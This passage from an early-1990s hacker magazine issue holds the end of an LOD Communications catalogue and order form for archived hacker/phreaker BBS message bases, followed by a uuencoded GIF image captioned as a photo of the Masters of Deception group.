Black Ice Private	703	The Highwayman	880 P,U	12/1/88 - 5/13/89	560	YES
Broadway Show/ Radio Station BBS	718	Broadway Hacker	180	9/29/85 - 12/27/85	99	YES
CIA BBS	201	CIA Director	30	5/02/84 - 6/08/84	30	NO
C.O.P.S.	305	Mr. Byte-Zap The Mechanic	227 G,R,U	11/5/83 - 7/16/84	196	YES
Face To Face	713	Montressor Doc Holiday	572	11/26/90 - 12/26/90	400	YES
Farmers Of Doom	303	Mark Tabas	41 G	2/20/85 - 3/01/85	124	YES
Forgotten Realm	618	Crimson Death	166	3/08/88 - 4/24/88	163	NO
Legion Of Doom!	305	Lex Luthor Paul Muad'Dib *	194 G,P,U	3/19/84 - 11/24/84	283	YES
Metal Shop Private	314	Taran King Knight Lightning	520 P,R,U	4/03/86 - 5/06/87	380	YES
OSUNY	914	Tom Tone Milo Phonbil *	375 G,U	7/9/82 - 4/9/83	368	YES
Phoenix Project	512	The Mentor Erik Bloodaxe *	1118 G,R	7/13/88 - 2/07/90	590	YES
Plover-NET	516	Quasi Moto Lex Luthor *	346 G	1/14/84 - 5/04/84	311	YES
Safehouse	612	Apple Bandit	269 G,U	9/15/83 - 5/17/84	251	YES
Sherwood Forest I	212	Magnetic Surfer	92 P,U	5/01/84 - 5/30/84	85	YES
Sherwood Forest][	914	Creative Cracker Bioc Agent 003 *	100 G	4/06/84 - 7/02/84	200	YES
Split Infinity	408	Blue Adept	52	12/21/83 - 1/21/84	36	YES
Twilight Phone	???	System Lord	17	9/21/82 - 1/09/83	24	NO
Twilight Zone/	203	The Marauder	108	2/06/85 -	186	YES

Septic Tank		Safe Cracker *	G,U	7/24/86		
WOPR	617	Terminal Man The Minute Man *	307 G,U	5/15/84 - 1/12/85	266	YES

NOTES: In SYSOP(S) column, * indicates remote sysop.

In #msgs column, P indicates that the BBS was Private, R indicates BBS was public but restricted access sub-board(s) are included, G indicates that SOME (or maybe all) of the G-files written by the sysop and/or files that were available on the BBS are included, U indicates that a BBS Userlist (typically undated) is included.

DATES column shows the starting and ending dates for which messages were buffered (and therefore available) although there may be some gaps in the chronological order.

KBYTES column shows size of complete file containing messages, g-files, userlist, etc. PROPHILE column indicates if a "BBS Pro-Phile" was written and is included.

LODCOM is currently organizing and splicing messages from over 30 more H/P BBSes [shown below] and, as the files are completed and/or as additional messages are procured for the above systems, updates of this listing will be released. Modem Over Manhattan (MOM), 8BBS (213), Mines of Moria (713), Pirates Cove (516) sysop: BlackBeard, Catch-22 (617) sysop: Silver Spy, Phreak Klass 2600 (806) sysop: The Egyptian Lover, Blottoland (216) sysop:King Blotto, Osuny 2 (a.k.a. The Crystal Palace) (914), Split Infinity (408), The Hearing Aid, Shadowland (303) sysop: The ShadowMaster, ShadowSpawn (219) sysop: Psychic Warlord, IROC (817) sysop: The Silver Sabre, FreeWorld II (301) sysop: Major Havoc, Planet Earth (714), Ripco (312) sysop: Dr. Ripco, Hackers Heaven (217) sysop: Jedi Warrior, Demon Roach Underground (806) sysop: Swamp Ratte, Stronghold East Elite (516) sysop: Slave Driver, Pure Nihilism, 5th Amendment (713) sysop: Micron, Newsweek Elite (617) sysop: Micro Man, Lunatic Labs (415) sysop: The Mad Alchemist, Laser Beam (314), Hackers Den (718) sysop: Red Knight, The Freezer (305) sysop: Mr. Cool, The Boca Harbour (305) sysop: Boca Bandit, The Armoury (201) sysop: The Mace, Digital Logic's Data Center (305) sysop: Digital Logic, Asgard (201), The KGB, PBS (702), Lost City of Atlantis sysop: The Lineman, and more.

*** Hacking/Phreaking Tutorials a.k.a. "G-Philes": ***

Along with the above H/P BBS Message Bases, LODCOM has collected many of the old "philes" that were written and disseminated over the years. A list of all of them would take up too much space here, however, we can tell you that the majority are NOT files that were originally written for electronic newsletters such as Phrack, PHUN, ATI, etc. (with the perhaps obvious exception of the LOD/H Technical Journal). Those files/newsletters are readily available from other sources. This hodgepodge includes files that somehow fell out of widespread circulation. A Table of Contents of the collection is included but the tutorials are all grouped together in four large files of approximately 250K each.

UPDATE/ADDITION: A collection of material is being compiled from the H/P BBS Message Bases and Files along with other sources that is an organized conglomeration of all the writings of all the ex-members of the Legion of Doom/Hackers group. It also includes private LOD/H Group sub-board message bases that resided on the LOD BBS (1984), Catch-22 (1985), Phoenix Project (1988), and Black Ice Private (1988) that were NOT included in those BBSes' Message Bases. BBS Messages from before and after each member entered the group along with any files they wrote will be organized, by member name, into individual files. This is being done more for ourselves than anything else as we are curious how much material was created over the years. Note that this special collection of files will be sent to you around the same time that Volume III is sent out and is free for ordering BOTH, the G-Phile Collection mentioned above, and the Message Base Files.

```
*** The Order Form: ***
-----------------------

- - - - - - - - - - - - - - - - C U T - H E R E - - - - - - - - - - - - - - - -

               LOD Communications H/P BBS Message Base ORDER FORM
               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   PERSONAL RATE:  Volumes 1, 2, 3, and possibly a fourth if created: $39.00
   This price is total & includes any updates to individual BBS Message Bases.

   COMMERCIAL RATE:  Corporations, Universities, Libraries, and Government
   Agencies: $99.00  As above, price is total and includes updates.

H/P BBS Message Bases (All Volumes): $________

"G-Phile" Collection (Optional): $____________ ($10.00 Personal)
                                               ($25.00 Commercial)

Disk Format/Type of Computer: _____________________________________
(Please be sure to specify diskette size [5.25" or 3.5"] and high/low density)

File Archive Method (.ZIP [preferred], .ARJ, .LHZ, .Z, .TAR) ____________
                    (ASCII [Non-Compressed] add $5.00 to order)

Texas Residents add 8% Sales Tax.
If outside North America please add $6.00 for Shipping & Handling.

Total Amount (In U.S. Dollars): $ ___________

Payment Method:  Check or Money Order please.
Absolutely NO Credit Cards, even if it's yours :-)

By purchasing these works, the Purchaser agrees to abide by all applicable U.S.
Copyright Laws to not distribute or reproduce, electronically or otherwise, in
part or in whole, any part of the Work(s) without express written permission
from LOD Communications.

Send To:
          Name: _____________________________________

  Organization: _____________________________________ (If applicable)

        Street: _____________________________________

City/State/Zip: _____________________________________

       Country: _____________________________________

E-mail address: _____________________________________ (If applicable)


PRIVACY NOTICE:  The information provided to LOD Communications is used for
sending orders and periodic updates to the H/P BBS Message Base Price List.
It will NOT be given or sold to any other party.  Period.


- - - - - - - - - - - - - - - - C U T - H E R E - - - - - - - - - - - - - - - -

Remit To:   LOD Communications
            603 W. 13th
            Suite 1A-278
            Austin, Texas USA  78701

Lodcom can also be contacted via E-mail:  lodcom@mindvox.phantom.com
                             Voice Mail:  512-448-5098
 _____________________________________________________________________________
 End Order File V.2
```

```
LOD Communications: Leaders in Engineering, Social and Otherwise ;)

Email: lodcom@mindvox.phantom.com
Voice Mail: 512-448-5098
Snail Mail: LOD Communications
            603 W. 13th
            Suite 1A-278
            Austin, Texas USA 78701
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 24 of 27

```
****************************************************************************
```

COURTESY OF THE UNITED STATES SECRET SERVICE
THE MASTERS OF DECEPTION "MOD" CIRCA NOVEMBER 1990
GIF87A FORMAT, GREYSCALE

```
begin 644 mod.gif
M1TE&.#=AD &0 ?<      ,8   #& ,;&    QL8 Q@#&QL?'Q\?FQZK2_/O[
M^^GIZ=C8V,7%Q;.SLZ&AH8^/CWQ\?&IJ:EE964='1S0T-"(B(A 0$
M@ " @ "  ("  (   (  @/S__SB @(#_ #@X /S2JO^  *BCHX X (  _X
M.  X@
M
M
M
M
M
M
M
M
M
M
M
M
M                                         /___*.CJ(" @/\   #_
M /__    __\ _P#______RP     D &0 0 (_P Q"!PX\,(%@@@3*ES(L"%#
M"Q C2I18@8*$" \>.( P88($"1,J0*Q0D8)(@R@O3(28LJ4%A2T-.IQ)LV9#
ME!)CZEQI<*4%G4"#!K594ZC1HT8=(EV*DB& IU !+/QYD*C5JRY]^J2 4:.#
M!@\B7 0ILD+'CA2HIO09]&5"H5?C6HV9\RA/E7>9ZHTI=Z_?OX"7.HWZ]&U*
MN8@++M4ZLB)&!U\;-(#\@*/)BF?3[JR[-R)0SX!!L\RJ%B=GTUI[,A8=D61I
MI* #RYY-NS;<A80+)TUL,S1CLX\A2QX.5L)EDJX_GV8:FW1@UG1'KUV.-W7U
MU:H;O[8KW;;W[^ %X__.C0$I;Z7?(W+5.#ER^\D1)ERFGCUOY^W@NYMFCO_Z
MQ/H](9?<7_JA%EZ!X26HUWB$E6?>>8;E9T$%$K#'P&3#";=1?";1YY^'W"FX
M7W3\*<?6=0$*V%^(FZWXG(LBQLB70KE))1Z$ MWW'VJM30!!9 Q<2!E[8$$@
M05DJRHB@;4MNUM:)R]U%T4EZ-2>C:GZ!>.5?-))WXWD$VC>163\V$&2&#F04
M69K&E43!FS#2UJ2<<8[8XHY1XMD:E?S5F9Z?T\VYY5Y=-O@E0C+-))M^/I$T
MP6-F"@E9FAEY%99\;\(YZ*9.^F8?BBH)R*=W5I+8(J>H'I50C0[NMM"6C*[_
M]*8$$#P0Z9F35E8K96(=!VBJ?RX8Z(X\IHC<KXL)NF2IP#:[JI>JQB5A:7N^
MB=&M04JJ:Z5&RK<LLG:&N2BX.K5*VFFC39@DJ>0VZZYRAPW$ZH-8_4GM2!1T
M1*M[Q W);7RN]2?HD^,63)NYPS:7KJCMPOONPP8G*A"K,+I5;VW2C4E2OAX%
M-^G'[CG0*WY:\KC=P [[5AO"YY:J[K'!0BQSEJ411+&K%]/)HUF9Y7L1!$"#
M+%R0#[1),K/1N=PNR@0?+-2)+S$<\\Q4PU:SO- .A5C#(TZ)6<\^1R!VI1^;
MN5%:&:]&W<L54\6T@NDVR7+2!;+]=M5X,WGUQ%F7_YM8!3I75])9A)]UT=AJ
M#MT 1R*EK7;=,#_M-M>!(YVLR\?>G??F+\;+MZ%:(P8XQJUE6OCI'9,M69 .
M')FPVO=-2^QT@=+.'7;7!3PY=)SW?N#>&,Q;%8X#4;XSQZBC%78$NQ+WP 3W
M/JZYYK?/'J["=3Y>G^[U3>[[]^QZ'CRTQ!/$+KX>?012X6\:WE7B$&AFHG5-
MP[H[RB5[+6KF>PX8+O@ G$UW;$:^\LWM18[2E_IZ)J#V'8Y;QED1["2WJ;A9
M;EA&01_J/B*?8ZWK?P$,(<W$)SP#'C T@^/@Z=[4. T^BGD?F0^")JBC#!JO
M.S1,FED.)[8>,@\"8E&?#/]?$[<1LDB$P-(/UD!GP/RD<'V941%+7L:S!7:D
MM<7>"6I64=</HT2\Z.WQ@I<8XQFZAC8C>B]T1D8BJ 2XQ*AB 2!-MR)S!H:Y#
MM2$N@X4(BP2]V*E8EELU?=&F41L8QM2$)+D]A"TL).I8J+;!37\-X(E3C.D8Z+
ML:/R?(6TQF &)/++8O[2:#+C]6F0*ZD(K8"V*THE,B-F9!;U](;)2&Y18I0L
MC,4@)"(]8JI#-AQ39M9F2@I6\%ZD424K:T4V?Y%1;$>:83%MB;="P1%,]MN?
M_^:G/V(J:9I6LYUIJFA('_[(F64$(MH<2<UVBH^ #<(FYRPX02G-LEGWG-#R
M>"C_MEH!S2N3FDQE '8T=QH4+PRZ)F]\1T_<V1.<WT1AV);YSX$R#V22460$
MV7G02.X2(:R2Y^8XTU#MF:JC.-EA/RGZK^;U*RP;=<FH4!K"B PFG@OM'4GO
M)SV.=E2E%<U(#UFINI>.C"XSI2D ;9K02HJT:GF17@X#>5(!3E.?'6NE4-=W
MD6;FJC)H(>* [JE49S6U,$^E6E2ERA@,JC%P&,,,[\*1/>U,E=BZ:!8J436
MLJ;JI@I-C%7/)4BV&C8K23ME=MQ:+/]D9V-G5":_( .T'G[D?6.$)C"CEE2_
M@@^P3LUIYQA+.L.:%K'.N=SN2 LJ/0&G5Y<II*VR-:3*_UZ6>97RX5$Y"U'/
M7@FT:!6MRFY7H@_QE*W=LR>67J>GDGZQK:%Z5*V"V+ZQW<IY0/2AI: 8P[UF
M3RWX(V41?<L4X$HEK6^5'*"<FURIMK<NXRUE<X_[7.L %8@<S!>D5I>M"W%K
M5ZSC;DQ3VMF3AG>Y>$$P>:-ES= *5D)TN]\?3_NA)YG6O<:]\&HO<-\@RN=1
M ,76F01:JTB)#)IA1<U8^\B:A@83F>*,$21C=-;S/AC"+0.0J2Z<7 MKN)X_
M;FZ .L:\14HWQ Q8@)*5G"$U9=2V>E6Q212<X]:.$H=HM%\M-S4^G"(&KN_-
MH85U+,H7T[>G&::A<S,V4:"!!/^W3D[RDA?09(#J*J^CDW(+6>RA3HH)O*0D
MKC&I^M>0WGBT\C5I,,D<X;:UF,(:[AK]+!V75V6F18:CI)Q1496XCF9>&R2
```

```
M%FLG2A@G^-16:QNCJ=;EP/8E9E@^;&I3[<<P63#&\U4:@G@F72/]$* @2_*(
MTT11_!HGN179LY^UN&P=S]>G%P2AB*C7:@>_.GRH3C-T24WK4=MZPPK.-2I)
MMK'T=35QB21.1LD(TV-_*-G>#C.W4PO?>DLSL6N,Z(*J'=QW*NIW84;NM\5,
M3:SJB]T:*>JZ$8[G_N%+V>/N+<3ZJJ#/7;,E<P&XMC%,,S0;5)^9JA"[*46D
MA=_9LI'_9>'#O6V]@U(\/+FT$8-A4MKE!CG:I:YUJJOZ2#=9I)EJ\BK(PF+9
M[H(<CSR#>''Q:;D9L]KBE:07S>F4QIM33^ U1"T^O^:1,;I2Z!_3E;'Y:'"T
M)?U3QF2ZJ%5=M9B?T-^*&2QSK;Y%]G:\WMT+-]YQ#>Z4FCL"Z"1Y(HD-Y19^
MS>PJ;[E/1RIQ&;E=ZH@"\\8CK5CC#GR\>DH8E;&\V)9\\K*1\3K8\8KR'@V3
M9Z'&>;9UVG@:0SVX<9]1A"(V]T=[W,RJW[F5ESWI"W^^JR87/,DS&\28AC&"
M.R0[,<7L] 5SZ?4VCCW&IT[[1-M>T;A_>>?M_:UM:_CX7?W*_T9V!?1T0K.[
M!CE^6L)X1EWC3MHQ=CZAH$]]N+]]R]>+S9JWG6KN675V5B<]_(,3RR,6K?1/
MPR=^XE=9>>4MZ4<XZY<^[1=Q:*9]\B=[AF8^?C-[Z95_:1-P\69A_C<N !B
M:C. /5& 'W%.7Q=GM 5+=;595%06$HAV/+9Z%[@R],>!35%_=W=]CA-DP21%
M:%=*/F:")_A!H:*"%\$O%\)?_84FE1%!OU&#+8=U%CAOM-1V.QAYLN>%GL)]
M._5])#&$_*-X/<9-2/@;2HA5/ 1Z03)G<BB'=18!$T@15KA\BI:%!H)C3\=O
MT2=]/<B#L.9[>^8FC:,[^D.$ J-SD/\FAA1&@$360[.59 IPB0HPATO6'O]D
M)! W$A(H-2T#B;GW/_D$3GPH&!DHB+BD@7!S9DE($9F2B)_(=6?12#EW- (G
M;K(FB?PT6TN&B9DX9W%(9T#3$9I5A1VDA/*69AUXBE.S)6Y'B)/DB@EBB Q3
M.HDG1<A1@'B&BWFG6ORWAJ<!?H!7C)JX9''( "=F$K/X&_ER'&WH4,KE6)+&
M.UHG2;>&@X,RC6!H?S)F6MI4.MS(,9GB0+]V*2-HC]U67^1(+6%T4>BX %&H
M;L,!-'>H%8>W/UX$)?58@N%X;Z.UCZE87EUHC0 Y;1W9/Y^(+_+8C7OT83_#
M3  #C@PY:.O_18J-PI%18Q&T4HG$F"WM439@\3S[!XK+R(R39QU3I7,VQV<G
M(TNM%SJKF",;^(]^F&&,.";QZ(X0F"_955V9A2E89#+AQ(_<!(*E$T40Z9,6
TE\CEE$8M3CQ<Y00$8\\.8H8UI0A>&IKYWZ+YW@GR8K52)AO99<5B'I>V3.T
LDARQ2N_U)(E67NK 9-H@8L3\D)>(6)/^%5.=F*C$VL3@9>B2)D/I7]1R7^[
ARY9!G]V$E\\9Y* Z(.M:)BW])0W-V3&X8X'J2\>UC[G!%/#I)JRPU:V&%:C
029>I6Z=N2V?^1&!II$L5)K6YY$[U6C60XKQQWEI!YOYN&^S28U9_]E8VR.9
&JD\/F=N7^DC"5=\;:)LG")5E@F!;@,<P-8OGIE=G:8I\O58J==TT::=>@E(
?1F8:)DLLN&/*/F*=S(LBBB T^DFY@9%F.(1#*@^H 2?Q_0X$LH^5 $<=S59
7Q5$NE63*[D[\%:$JT8W[86=!*JB*1.;MPD8"FJ;V#:@LE:9IJ-"ZXFA*V23
\7F"IL,^K@&BFXDF)'>,A<-!>6::VF&#>Y=]ML.+[U4_5!9_,FH;-6J5^H:C
N[B32TJARJ.>\AB/I5B<.WF<[VBDPH&D14.6$DH6NDAYFG>@S#6E NJ4J[=V
^/<=6WI_^O9C"9-")>JC[0.!'L2?$P>/[/^#="#&+PMGA[*(/$VJ8N9)G/!W
IG*G5'_Z+HCID"Z95=GE85]YJ"6!)%-9=X34/M.)AV6B;FP2:IK467M"IUFJ
J=7749WZ,+9J7(1ZH6':F[P9:F%8H.(HH7#"E?NR)L0661U:J9SUH!S7A]QY
/JWI6[OJJ3=82G&J6Q0Z%H>Z2<0:)ASY<AJ3C;+H(VU*6<HWD&UQJKU:'7HG
.]]95MFZJ?*J7K"X5OW3FQBJ0F\HD_GUCM/S,N&:E+BJEJD$ENM:--#:?Q%Z
AN*5FGSW71&&I78Z:[YSK[07H$#8>_U*./_*53TDL/E%A/?!=>H#6WA4K (H
5V62)M#3%'TRG][_$J6H5+%G6:=7FK%:R#D<>R4ORG$L^7L<](:&FC[ZPDA*
:4.J5**_66#58UA?0Y,4<!AUU$#T24]&U(O9AH]96J]B^RY!VZ4*RZ^8X97_
:J'&MD ^PU5,NS%2JQ,)=#C%%DLN*Y^#LULRD;4=>HM<JT9>&VL]6[ACZYIF
%9Y8V7D^9J5#RWSHH[8^NDI%=Q;GEZ&)F&)V0:@KQ4S &DJG9(AFBG%^NZ,+
](D(FFCE>II*,XI6JFU_6)4'Y+%\:HI>*SAX^;8+Q$^D6F0G&S [!+KOBI!D
A$X< 2XW1YT'44<'J;MR"J/YJ)'H2J7?":./F[ 5-YA<6G?S6ES)RT)O_WM^
/N2CTK4^+PE9?@)RJ8-P9#2S.D)W?,$=W=B;B/J@XKB&J#6&51>X7IJJZE6V
@E:M9VEU,'E;MW6Y))NAR+.,ZT6H[$M&KO.^N1F_3MN\AVK!&CJU^(NG08B;
*[IQ[L)4BKN@3;.M&ORQ7A.^EK5!5K28#FBX/?FVK62112*G/[B3[X>U%6S!
XAJAM/N0$QM?^X>;\>J7J"A'V@NH]UB9\!:Z.CFI*HQBIW.Z[HJX!%:WK.0
<;D19(F\L8BI@ I9%MR\FP2D+FJ""(:SL$C$)BQI]@+ _:LQ/MDKTXN=9QNG
*]N R7.I$FQ'%6(F3[:;"WG"D:C#G^%S8TR_!/_K:%?:;!F&HX;[J9@J2> I
NPVIHZLT4#QJQM8II&BA0%),I)>*+(UQP3\7,AQ!.&5YOVW<M\,[I#S\H[3;
R-U7I;47R?N*?;G*8);\(M6RK(277601.6>[5X<7KCRJ/&A$<#OAQZ#$GKEB
)&Z[9Y>LR^7R-.GY2T-:.-2LA@\Y7&5VPF2;Q"0(BA[C+U"F<DYJ)3,H*J:<
.6=,593VR58$S-(L1(I8S<Q,NJ_<O&),I&BXE!-L1.$LI>XRC4[D&, 6=NF\
6<7<S-J$P4E5R*1AD M\<%N%H1'K:*U,P8<\QO^,J $-Q"0=@-6T@_GA,PO-
T)75Q>L\0XA\D&(LO +_#:"(_)7\E,<:3=-Q/,F&3+<276ZR#"(E7=2"RH7A
22J8<4B#%\SQP4<OO2(Q/9VSF(L$=W0J:+(\5&P=0=*"\=%!;;3/>V7D>(1&
/<'>R<8GA="VH5*C-W2V-6 U_:X1[2M6G<,!$L50-J&X%51%$TT$";^J M:S
.)\^BKKZNL%W?=9?VK,NIG5L_;I(];0N-9?1;&PTO<_8/&7>C'4II5]%]D-Y
-18@\9,(J$@U>7B"G12$O8T7?9G&^LVEQ=@^#<-&/(@A910!TQ8(N5^631DM
#=7]FR7;U-/$B55^+9P5XF;K:RFAS*2K#1<?S9::!*>(;=;1[<NTK:>V'5^1
_XU4RKR3A[J"1TK#A/?4$\V4I?S">?NRV@2S85?:/R)4_319S$UD&4G10S'=
5W1T7RF9(BBM;)C/U[C=F2?0(/C=+N&3_<V59,RVKVJ1Y]W?9ZP:3_2P3JRW
6NN502,<;PK,, @D%W+?E97?M[O?0-VJU2V//NUP&M[-OV/@O+.72&Q>V[O@
"A2W"93(!Q<RM>68&,[$/@?=-TR&R0><KZI1Y/U?;TF7\AT6)GY[@RUEA?VW
>J5F+?;>DEFN ?FD B[C(>D0N3W=^(P\1C:FAD,DYUU\ZY2+4YU?7DS CA)#
8)GD[7; E(C*W7(X@'W47RUE'13+G/1^]J;E P[/*O_IY:-\UO5A$V,>%.KW
2:)==+IE9WH\G**YL&.LN1+,AJD$O Q>YY;2+0JTNW=%=!0:Y9J-XL;2E;&\
Z..H,9ZDY8C^36DJO;!N=8Y.'O<71HS49@C'4I YK*E7>XHIT\6=X3A\KO@R
L!TQWZ2.C.,+X?3]GE\NY>81P]LLT@/];K1(Z[7>Y9_>DA);TKL>3T^#/+$E
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
H< R-#>#PB0";(LV_ WRVS3&>!>,:T$Q$:DZ9+_BVY,9F: <A)ON^,.L QAH
&;14! Q#Y*%$K)'L2YW.V+VE$RSM4BF/VBLI'!GC42KD,[QBLCA%:96I^<!0
O!A;@L,,,HL6W)_UXKZ$:37;XC,H;$.@D,7\.JBD2T>*D8]<U$5@B:X70R/F
```

```
MZ*DFQ#"5HL>I"*8CZ\& 6R]EE+F\R3,H&XAH3 K_K(O$(&DW/XQ")7RW.<N2
M9]M$+-07O_,@_@F<OLB(>\3'!=B^ ")$[JJ+;?F===,)!GC$]-BRA7&M?'0T
M<1.AZ[F7+_PG8*HI;%$4>F,4?5R2#+,H6IJ^AU#&9S2(!1*O$PL1XH 4@M0Y
